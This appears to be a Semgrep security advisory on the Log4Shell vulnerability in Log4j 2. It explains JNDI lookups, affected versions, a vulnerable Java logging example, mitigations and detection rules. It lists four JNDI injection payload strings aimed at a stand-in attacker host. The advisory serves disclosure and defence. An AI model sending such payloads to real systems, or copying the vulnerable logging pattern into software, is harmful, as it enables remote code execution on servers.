What is Log4Shell? CVE-2021-44228, also known as Log4Shell, is a remote code execution vulnerability in the Log4j 2 library. Log4j 2 is the most popular logging framework for the Java programming language. The Log4j vulnerability was found by the Alibaba cloud security team in November and the CVE was released on December 10, 2021. Later the extra DoS vector was described in CVE-2021-45046.
Log4j supports the lookup feature, which provides a way to add values to the Log4j configuration in arbitrary places. For example, you can insert the current Java version to the log message by adding ${java:version}
to it. If user-supplied data is provided to its logging methods, that can also be interpreted as a lookup.
One of the available lookups is JNDI or Java Naming and Directory Interface. It is a Java API that allows clients to discover data by name through different protocols, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
The source of the problem is that the JNDI lookup does not protect against queries to attacker-controlled endpoints. If an attacker can force a JNDI lookup to a malicious endpoint it can end up in a Java deserialization vulnerability, which can then lead to remote code execution.
Payload examples:
${jndi:ldap://attackers-domain.com}
${jndi:ldaps://attackers-domain.com}
${jndi:rmi://attackers-domain.com}
${jndi:dns://attackers-domain.com}
Technically Log4Shell is a typical example of a JNDI injection vulnerability, but what makes this case special is that Log4j2 is a widely used library (close to 7,000 Maven packages depend on it) and there is a high chance that user input will be passed to a log message. On top of that, JNDI injection attack vectors are not limited to exploiting Java deserialization bugs, exploits may vary and there are definitely more to come in the future.
References
List of companies affected so far: https://github.com/YfryTchsGD/Log4jAttackSurface.
More on JNDI Injection attacks by Alvaro Muñoz (@pwntester) and Oleksandr Mirosh: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
Log4j PR that fixes the Log4Shell vulnerability by restricting LDAP classes
Conditions for exploitation
Affected versions are: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.14.1 (
log4j-core
dependency in Maven / Gradle)JRE/JDK versions older than 6u211, 7u201, 8u191, 11.0.1 have the JVM property
com.sun.jndi.ldap.object.trustURLCodebase
that allows loading classes from arbitrary endpoints set to true by default (despite the fact that it does not protect from all possible attacks, it is still highly recommended to bump the version of Java)
Vulnerable code
log4j
's Logger instance has numerous methods such as info
, debug
and error
intended for logging events. Letting user-supplied data into one of these methods can create an opportunity for a Log4Shell vulnerability.
import org.apache.log4j.Logger;
import org.apache.log4j.LogManager;
import java.io.*;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(log4jExample.class.getName());
public void handle(HttpExchange he) throws IOException {
String userInput = he.getRequestHeader("some-header");
// vulnerable
log.info("Request User Agent:" + userInput);
}
}
Mitigations
Upgrade the library to the new versions:
Java 8 (or later) users should upgrade to release 2.16.0. <br/> Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
See: https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228
Remove JndiLookup from classpath
Otherwise, remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
See: https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228
Disable message lookups:
Other insufficient mitigation measures are: setting system property
log4j2.formatMsgNoLookups
or environment variableLOG4J_FORMAT_MSG_NO_LOOKUPS
to true for releases >= 2.10, or modifying the logging configuration to disable message lookups with%m{nolookups}
,%msg{nolookups}
or%message{nolookups}
for releases >= 2.7 and <= 2.14.1.
See: https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45046
New community-powered rules
Very soon after this issue came to light, members of the Semgrep community began working on code scanning rules to audit code for potential exposure to the Log4j vulnerability. We must give a huge shoutout to Kurt (@lapt0r) and Lewis (@LewisArdern) for collaborating on and sharing their Semgrep rules already on the afternoon of December 9th. This really highlights the strength of Semgrep’s collaborative community 💜
Collaborating with @LewisArdern has improved the #log4j @semgrep rules *substantially*. We've come up with a pair of rules leveraging constant propagation that cover most cases with improved performance:
https://semgrep.dev/s/chegg:log4j_delayed_logger_instantiation
https://semgrep.dev/s/chegg:log4j_inline_logger_instantiation
https://twitter.com/lapt0r/status/1469160133737340932
The Log4j RCE is very... bad. A few people are looking to write semgrep rules for this, here's a starting point to see how many instances are in your code bases https://semgrep.dev/s/8gGg
https://twitter.com/LewisArdern/status/1469135782002651139
Use this rule from Kurt and Lewis to scan your code for potential Log4Shell vulnerabilities or as a starting point for writing your own custom Semgrep rule: https://semgrep.dev/s/chegg:log4j2_tainted_argument
semgrep --config s/chegg:log4j2_tainted_argument